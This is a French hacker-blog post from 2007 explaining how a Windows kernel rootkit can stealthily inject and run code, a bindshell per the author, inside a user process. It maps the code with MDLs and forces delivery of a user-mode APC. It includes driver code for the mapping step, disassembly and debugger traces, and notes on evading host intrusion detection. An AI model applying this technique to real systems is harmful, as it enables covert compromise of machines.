Steelin ur t3h m3g4hurtzzzzz !!
Encore un titre à faire fuir n’importe quel être normalement constitué, au début j’ai faillit écrire tout le post de la même façon mais je crois que les fautes font déjà assez branleur comme ca. Il faut dire qu’en ce moment j’ai un peu de mal à trouver de bonnes idées à poster, j’ai beau me drogué, rien n’y fait. Il faut dire que combattre un ennemi aussi vicieux que l’idle est loin d’être aisé, on se laisse vite tenter par des choses appelées « télévision » dans lesquelles ont peut observer un monde ou la bêtise semble reine … Au début on se dit qu’on ne deviendra jamais comme eux, puis à force de les contempler notre cerveau commence à se transformer pour ressembler au leurs. Après on s’étonne que le QI baisse, déjà que le mien n’est pas bien élevé, regarder la TV ou troller sur irc (c’est quasiment le même niveau de réflexion) n’aide pas à le maintenir. J’essaye de combattre cette nuisance et je crois que le meilleur moyen est de poser devant le laptop, de mettre du bon métal à fond puis de lire des blogs/sites chinois/russes pour récupérer de l’idée. Cet ainsi qu’est né ce poste, partant d’un constant simple, comment, quand un rootkit est installer sur une b0x lancer simplement un code depuis le kernel dans un context userland ? A première vue, on pourrait dire qu’en étant dans le noyau, réaliser cette opération est simple mais en y réfléchissant de près, qu’est ce qu’on connaît capable de faire ca ?
Crée un process pour exécuter notre code et se faire cramer plutôt crevé …
Injecter une DLL ? Cela revient à crée un thread lancé sur LoadLibrary.
Justement parlons de la création d’un thread par nous même dans un process existant, il suffit de voir le code CreateRemoteThread pour chier dans son froc …
kd> uf kernel32!CreateRemoteThread kernel32!CreateRemoteThread: 7c81042c 6810040000 push 410h 7c810431 680806817c push offset kernel32!`string'+0x18 (7c810608) 7c810436 e88b20ffff call kernel32!_SEH_prolog (7c8024c6) 7c81043b a1cc46887c mov eax,dword ptr [kernel32!__security_cookie (7c8846cc)] 7c810440 8945e4 mov dword ptr [ebp-1Ch],eax 7c810443 8b4d08 mov ecx,dword ptr [ebp+8] 7c810446 898d44fcffff mov dword ptr [ebp-3BCh],ecx 7c81044c 8b750c mov esi,dword ptr [ebp+0Ch] 7c81044f 8b5d14 mov ebx,dword ptr [ebp+14h] 7c810452 8b4518 mov eax,dword ptr [ebp+18h] 7c810455 898534fcffff mov dword ptr [ebp-3CCh],eax 7c81045b 8b4520 mov eax,dword ptr [ebp+20h] 7c81045e 898538fcffff mov dword ptr [ebp-3C8h],eax 7c810464 33d2 xor edx,edx 7c810466 899548fcffff mov dword ptr [ebp-3B8h],edx 7c81046c 33c0 xor eax,eax 7c81046e 8dbd4cfcffff lea edi,[ebp-3B4h] 7c810474 ab stos dword ptr es:[edi] 7c810475 8d8520fcffff lea eax,[ebp-3E0h] 7c81047b 50 push eax 7c81047c f6451e01 test byte ptr [ebp+1Eh],1 7c810480 0f85b8a60200 jne kernel32!CreateRemoteThread+0x56 (7c83ab3e) kernel32!CreateRemoteThread+0x5c: 7c810486 52 push edx 7c810487 ff7510 push dword ptr [ebp+10h] 7c81048a 51 push ecx 7c81048b e88cfdffff call kernel32!BaseCreateStack (7c81021c) 7c810490 85c0 test eax,eax 7c810492 0f8cafa60200 jl kernel32!CreateRemoteThread+0x6a (7c83ab47) kernel32!CreateRemoteThread+0x6d: 7c810498 33ff xor edi,edi 7c81049a 47 inc edi 7c81049b 57 push edi 7c81049c ffb528fcffff push dword ptr [ebp-3D8h] 7c8104a2 53 push ebx 7c8104a3 ffb534fcffff push dword ptr [ebp-3CCh] 7c8104a9 8d8558fcffff lea eax,[ebp-3A8h] 7c8104af 50 push eax 7c8104b0 e8eefeffff call kernel32!BaseInitializeContext (7c8103a3) 7c8104b5 33db xor ebx,ebx 7c8104b7 53 push ebx 7c8104b8 56 push esi 7c8104b9 8d85e0fbffff lea eax,[ebp-420h] 7c8104bf 50 push eax 7c8104c0 e8258effff call kernel32!BaseFormatObjectAttributes (7c8092ea) 7c8104c5 57 push edi 7c8104c6 8d8d20fcffff lea ecx,[ebp-3E0h] 7c8104cc 51 push ecx 7c8104cd 8d8d58fcffff lea ecx,[ebp-3A8h] 7c8104d3 51 push ecx 7c8104d4 8d8d3cfcffff lea ecx,[ebp-3C4h] 7c8104da 51 push ecx 7c8104db 8bb544fcffff mov esi,dword ptr [ebp-3BCh] 7c8104e1 56 push esi 7c8104e2 50 push eax 7c8104e3 68ff031f00 push 1F03FFh 7c8104e8 8d8550fcffff lea eax,[ebp-3B0h] 7c8104ee 50 push eax 7c8104ef ff154414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801444)] Ici on a crée l'objet ETHREAD dans le kernel. 7c8104f5 898554fcffff mov dword ptr [ebp-3ACh],eax 7c8104fb 3bc3 cmp eax,ebx 7c8104fd 0f8c47a60200 jl kernel32!CreateRemoteThread+0xd4 (7c83ab4a) kernel32!CreateRemoteThread+0xf4: 7c810503 895dfc mov dword ptr [ebp-4],ebx 7c810506 83feff cmp esi,0FFFFFFFFh 7c810509 7553 jne kernel32!CreateRemoteThread+0x1a6 (7c81055e) kernel32!CreateRemoteThread+0x100: 7c81050b 53 push ebx 7c81050c 6a1c push 1Ch 7c81050e 8d85f8fbffff lea eax,[ebp-408h] 7c810514 50 push eax 7c810515 53 push ebx 7c810516 ffb550fcffff push dword ptr [ebp-3B0h] 7c81051c ff152811807c call dword ptr [kernel32!_imp__NtQueryInformationThread (7c801128)] 7c810522 898554fcffff mov dword ptr [ebp-3ACh],eax 7c810528 3bc3 cmp eax,ebx 7c81052a 0f8c3aa60200 jl kernel32!CreateRemoteThread+0x121 (7c83ab6a) kernel32!CreateRemoteThread+0x139: 7c810530 53 push ebx 7c810531 6a08 push 8 7c810533 8d8548fcffff lea eax,[ebp-3B8h] 7c810539 50 push eax 7c81053a 57 push edi 7c81053b 53 push ebx 7c81053c 53 push ebx 7c81053d 57 push edi 7c81053e ff15ec14807c call dword ptr [kernel32!_imp__RtlQueryInformationActivationContext (7c8014ec)] 7c810544 898554fcffff mov dword ptr [ebp-3ACh],eax 7c81054a 3bc3 cmp eax,ebx 7c81054c 0f8c30a60200 jl kernel32!CreateRemoteThread+0x157 (7c83ab82) kernel32!CreateRemoteThread+0x164: 7c810552 399d48fcffff cmp dword ptr [ebp-3B8h],ebx 7c810558 0f852b4d0200 jne kernel32!CreateRemoteThread+0x16c (7c835289) kernel32!CreateRemoteThread+0x1a6: 7c81055e 803d0840887c00 cmp byte ptr [kernel32!BaseRunningInServerProcess (7c884008)],0 7c810565 0f8567b20100 jne kernel32!CreateRemoteThread+0x1f0 (7c82b7d2) kernel32!CreateRemoteThread+0x1af: 7c81056b 8b8550fcffff mov eax,dword ptr [ebp-3B0h] 7c810571 89854cffffff mov dword ptr [ebp-0B4h],eax 7c810577 8b853cfcffff mov eax,dword ptr [ebp-3C4h] 7c81057d 898550ffffff mov dword ptr [ebp-0B0h],eax 7c810583 8b8540fcffff mov eax,dword ptr [ebp-3C0h] 7c810589 898554ffffff mov dword ptr [ebp-0ACh],eax 7c81058f 6a0c push 0Ch 7c810591 6801000100 push 10001h 7c810596 53 push ebx 7c810597 8d8524ffffff lea eax,[ebp-0DCh] 7c81059d 50 push eax 7c81059e ff153410807c call dword ptr [kernel32!_imp__CsrClientCallServer (7c801034)] Notifie le subsystem (csrss) avec un LPC qu'un thread a été crée. 7c8105a4 8b8544ffffff mov eax,dword ptr [ebp-0BCh] 7c8105aa 898554fcffff mov dword ptr [ebp-3ACh],eax kernel32!CreateRemoteThread+0x229: 7c8105b0 399d54fcffff cmp dword ptr [ebp-3ACh],ebx 7c8105b6 0f8c17a60200 jl kernel32!CreateRemoteThread+0x231 (7c83abd3) kernel32!CreateRemoteThread+0x23d: 7c8105bc 8b8538fcffff mov eax,dword ptr [ebp-3C8h] 7c8105c2 3bc3 cmp eax,ebx 7c8105c4 7408 je kernel32!CreateRemoteThread+0x24f (7c8105ce) kernel32!CreateRemoteThread+0x247: 7c8105c6 8b8d40fcffff mov ecx,dword ptr [ebp-3C0h] 7c8105cc 8908 mov dword ptr [eax],ecx kernel32!CreateRemoteThread+0x24f: 7c8105ce f6451c04 test byte ptr [ebp+1Ch],4 7c8105d2 7513 jne kernel32!CreateRemoteThread+0x268 (7c8105e7) kernel32!CreateRemoteThread+0x255: 7c8105d4 8d851cfcffff lea eax,[ebp-3E4h] 7c8105da 50 push eax 7c8105db ffb550fcffff push dword ptr [ebp-3B0h] 7c8105e1 ff153814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801438)] Lance le thread ... kernel32!CreateRemoteThread+0x268: 7c8105e7 834dfcff or dword ptr [ebp-4],0FFFFFFFFh 7c8105eb e829000000 call kernel32!CreateRemoteThread+0x289 (7c810619) 7c8105f0 8b8550fcffff mov eax,dword ptr [ebp-3B0h] 7c8105f6 8b4de4 mov ecx,dword ptr [ebp-1Ch] 7c8105f9 e80491ffff call kernel32!__security_check_cookie (7c809702) 7c8105fe e8fe1effff call kernel32!_SEH_epilog (7c802501) 7c810603 c21c00 ret 1Ch
En gros, crée un thread consiste à appeler NtCreateThread et NtResumeThread (2 API non exportées par le noyau), sans oublié de notifié le subsystem qu’un thread à été lancé, bref ceci n’est pas forcément très furtif :]
Il est aussi possible d’hijacker un thread existant en utilisant les API :
ZwOpenThread
NtSuspendThread //non exporté par le noyau
PsGetContextThread
PsSetContextThread
NtResumeThread //non exporté par le noyau
ZwClose
Cela cependant relève plus du parcourt du combattant car les API NtSuspendThread et NtResumeThread n’étant pas exportées par ntoskrnl, il n’est possible de les utiliser dans un driver les retrouvant dynamiquement, le plus simple étant de les obtenir à partir de leur index dans la KiServiceTable.
Dans le cas de la création d’un thread, il reste le problème de l’allocation du code dans la mémoire. En effet effectuer un ZwAllocateVirtualMemory puis un ZwWriteVirtualMemory et enfin un ZwFreeVirtualMemory demande pas mal de code. On pourrait se dire qu’il serait plus simple de directement mapper les pages kernel contenant le code qu’on désire lancer, c’est vrai mais dans ce cas il faut manipuler un objet de type « section », le mapping consistera a faire les appels :
ZwCreateSection
ZwMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Le problème c’est que le handle renvoyé lors de l’appel à ZwCreateSection sera crée dans le context du thread qui l’aura appelé, ainsi comme on doit le manipuler après avec les autres API, il faut s’assurer que notre system thread s’exécute dans le contexte du process ou l’on veut mapper les pages.
Bref, si on veut injecter du code depuis le kernel dans un process, on a 2 ennuis :
1) Comment mapper le code de façon simple ?
2) Comment l’exécuter sans se prendre la tête ?
De plus il faut garder à l’esprit qu’un HIDS peut très bien surveiller les appels natifs (tous les Zw*) et ainsi par exemple bloquer l’appel à ZwAllocateVirtualMemory dans un process non-authorisé.
L’idéal serait donc de pouvoir réaliser ces 2 opérations sans utiliser d’API natives mais uniquement celle que nous fournit le noyau.
La méthode que j’expose ici à été reprise d’un code chinois, dont les gars là bas, doivent tourner avec des drogues beaucoup plus puissant que les chocapicz ….
L’idée consiste à mapper le code dans un process en jouant avec les MDL (Memory Descriptor List) puis à l’éxécuter avec un APC crée depuis notre driver.
Le mapping s’effectue en créant un MDL sur notre routine (faisant partie de notre driver) avec un IoAllocateMdl, ensuite il faut locker les pages dans le kernel, pour empêcher quelles soient swappées, puis les mapper avec un MmMapLockedPagesSpecifyCache (suffit de lire la doc du DDK et tout va bien :p). Au final ca donne ca :
pMDL=IoAllocateMdl((PVOID)&ApcRoutine, 0x15E, FALSE, FALSE, NULL); //0x15E=sizeof(code) if(!pMDL) { DbgPrint("Error with IoAllocateMdln"); PsTerminateSystemThread(STATUS_SUCCESS); } __try { MmProbeAndLockPages(pMDL, KernelMode, IoWriteAccess); } __except(EXCEPTION_EXECUTE_HANDLER) { IoFreeMdl(pMDL); DbgPrint("Error with MmProbeAndLockPagesn"); PsTerminateSystemThread(STATUS_SUCCESS); } KeStackAttachProcess((PEPROCESS)Process, &ApcState); __try { ApcMappedAddress=MmMapLockedPagesSpecifyCache(pMDL, UserMode, MmCached, NULL, FALSE, NormalPagePriority); } __except(EXCEPTION_EXECUTE_HANDLER) { MmUnlockPages(pMDL); IoFreeMdl(pMDL); DbgPrint("Error with MmMapLockedPagesSpecifyCachen"); PsTerminateSystemThread(STATUS_SUCCESS); } if(!ApcMappedAddress) { KeUnstackDetachProcess(&ApcState); MmUnlockPages(pMDL); IoFreeMdl(pMDL); DbgPrint("Error with MmMapLockedPagesSpecifyCachen"); PsTerminateSystemThread(STATUS_SUCCESS); }
Notez l’appel à KeStackAttachProcess, cette magnifique API permet d’attacher notre thread au context d’un process à partir de son EPROCESS, on s’assure ainsi que l’appel à MmMapLockedPagesSpecifyCache avec le paramètre UserMode mappera bien les pages dans le userspace du process visé.
Ensuite, il faut envoyer un APC à un des threads du process, dans notre cas on utilise un userland APC, le petit souci c’est que comme le dit la doc, un userland APC n’est exécuté que si un thread est à la fois Waiting et Alertable, en il faut qu’il est appelé une de ces API :
SleepEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
WaitForMultipleObjectsEx
WaitForSingleObjectEx
En mettant le booléen bAlertable à TRUE, ce qui n’est pas forcément le cas ! Cela empêche donc notre APC d’être exécuté, ouinz …
Sauf, si on trick comme un moine tibétain, en effet l’API KiInsertQueueApc qui se charge de placer l’APC sur le thread, notifiera ce dernier qu’il doit exécuter un APC en plaçant le flag UserApcPending de la structure KTHREAD à 1. En ce qui concerne l’APC il sera délivré lors du retour du syscall respectant ainsi l’algorithme suivant :
ExitFromSystem: disable interrupts; IF Previous IRQL == 0 THEN Get current TCB address; IF Previous mode == Kernel THEN IF Tcb.KernelApcPending THEN IRQL = 1; Call kernel APC delivery code; END IF; ELSEIF Tcb.UserApcPending THEN IRQL = 1; Call user APC delivery code; END IF; END IF; Restore state and continue execution;
Voila ce que ca peut donner dans le monde réel :
kd> kv ChildEBP RetAddr Args to Child f94f4cf8 804e6112 00000000 f94f4d64 0032054e nt!KiInitializeUserApc (FPO: [Non-Fpo]) f94f4d4c 804de855 00000001 00000000 f94f4d64 nt!KiDeliverApc+0x1d5 (FPO: [Non-Fpo]) f94f4d4c 7c91eb94 00000001 00000000 f94f4d64 nt!KiServiceExit+0x58 (FPO: [0,0] TrapFrame @ f94f4d64) [---------------------------------------------------------------------------------------------------] 0012ff44 7c91d85c 7c8023ed 00000000 0012ff78 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 0012ff48 7c8023ed 00000000 0012ff78 00370031 ntdll!NtDelayExecution+0xc (FPO: [2,0,0]) 0012ffa0 7c802451 00001388 00000000 0012ffc0 kernel32!SleepEx+0x61 (FPO: [Non-Fpo]) 0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo]) WARNING: Stack unwind information not available. Following frames may be wrong. 0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f 0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
Ensuite si c’est un user APC, on se retrouve dans la stack userland du thread, l’APC étant exécuté sous forme d’exception :
kd> kv ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0012fc68 7c91eac7 00000000 0000001c 00000000 0x32054e 0012ffa0 7c802451 00001388 00000000 0012ffc0 ntdll!KiUserApcDispatcher+0x7 0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo]) 0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f 0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
Donc, si on modifie nous même le flag UserApcPending du KTHREAD, que le thread soit Running ou Waiting, on est sur que lors du retour du prochain syscall, notre APC sera délivré, w00t c’est n111ce !
J’ai oublié de précisé que le code injecté doit-être générique, c’est à dire qu’il ne doit appeler aucunes API userland avec une adresse hardcodé.
Pour information, voici les prototypes de KeInitializeApc et KeInsertQueueApc :
VOID KeInitializeApc ( __out PRKAPC Apc, __in PRKTHREAD Thread, __in KAPC_ENVIRONMENT Environment, __in PKKERNEL_ROUTINE KernelRoutine, __in_opt PKRUNDOWN_ROUTINE RundownRoutine, __in_opt PKNORMAL_ROUTINE NormalRoutine, __in_opt KPROCESSOR_MODE ApcMode, __in_opt PVOID NormalContext ) Routine Description: This function initializes a kernel APC object. The thread, kernel routine, and optionally a normal routine, processor mode, and normal context parameter are stored in the APC object. Arguments: Apc - Supplies a pointer to a control object of type APC. Thread - Supplies a pointer to a dispatcher object of type thread. Environment - Supplies the environment in which the APC will execute. Valid values for this parameter are: OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, or InsertApcEnvironment KernelRoutine - Supplies a pointer to a function that is to be executed at IRQL APC_LEVEL in kernel mode. RundownRoutine - Supplies an optional pointer to a function that is to be called if the APC is in a thread's APC queue when the thread terminates. NormalRoutine - Supplies an optional pointer to a function that is to be executed at IRQL 0 in the specified processor mode. If this parameter is not specified, then the ProcessorMode and NormalContext parameters are ignored. ApcMode - Supplies the processor mode in which the function specified by the NormalRoutine parameter is to be executed. NormalContext - Supplies a pointer to an arbitrary data structure which is to be passed to the function specified by the NormalRoutine parameter. Return Value: None. --*/ BOOLEAN KeInsertQueueApc ( __inout PRKAPC Apc, __in_opt PVOID SystemArgument1, __in_opt PVOID SystemArgument2, __in KPRIORITY Increment ) /*++ Routine Description: This function inserts an APC object into the APC queue specifed by the thread and processor mode fields of the APC object. If the APC object is already in an APC queue or APC queuing is disabled, then no operation is performed. Otherwise the APC object is inserted in the specified queue and appropriate scheduling decisions are made. Arguments: Apc - Supplies a pointer to a control object of type APC. SystemArgument1, SystemArgument2 - Supply a set of two arguments that contain untyped data provided by the executive. Increment - Supplies the priority increment that is to be applied if queuing the APC causes a thread wait to be satisfied. Return Value: If the APC object is already in an APC queue or APC queuing is disabled, then a value of FALSE is returned. Otherwise a value of TRUE is returned. --*/
Aussi, comme ne nous savons pas quand notre APC sera délivré, il faut utiliser un Event, afin que notre code injecté, en appelant SetEvent, nous prévienne qu’il a finit d’exécuté le code. Après quand tout est finit, on unmap les pages, on les déverrouille et on supprime le MDL.
Pour l’instant le code marche, le code injecté est le bindshell que j’ai posté la dernière fois. Sauf qu’au moment de quitter j’ai un méchant deadlock qui parfois fait planter à la fois la VM et mon laptop, w0w funny …
J’essaye de corriger ce leger bug :] puis je vous up le POC.
Références :
Using MDLs
http://msdn2.microsoft.com/en-us/library/aa489506.aspx
Inside NT’s Asynchronous Procedure Call
http://www.ddj.com/windows/184416590
Do Waiting Threads Receive Alerts and APCs?
http://msdn2.microsoft.com/en-us/library/aa490226.aspx
11 comments août 20th, 2007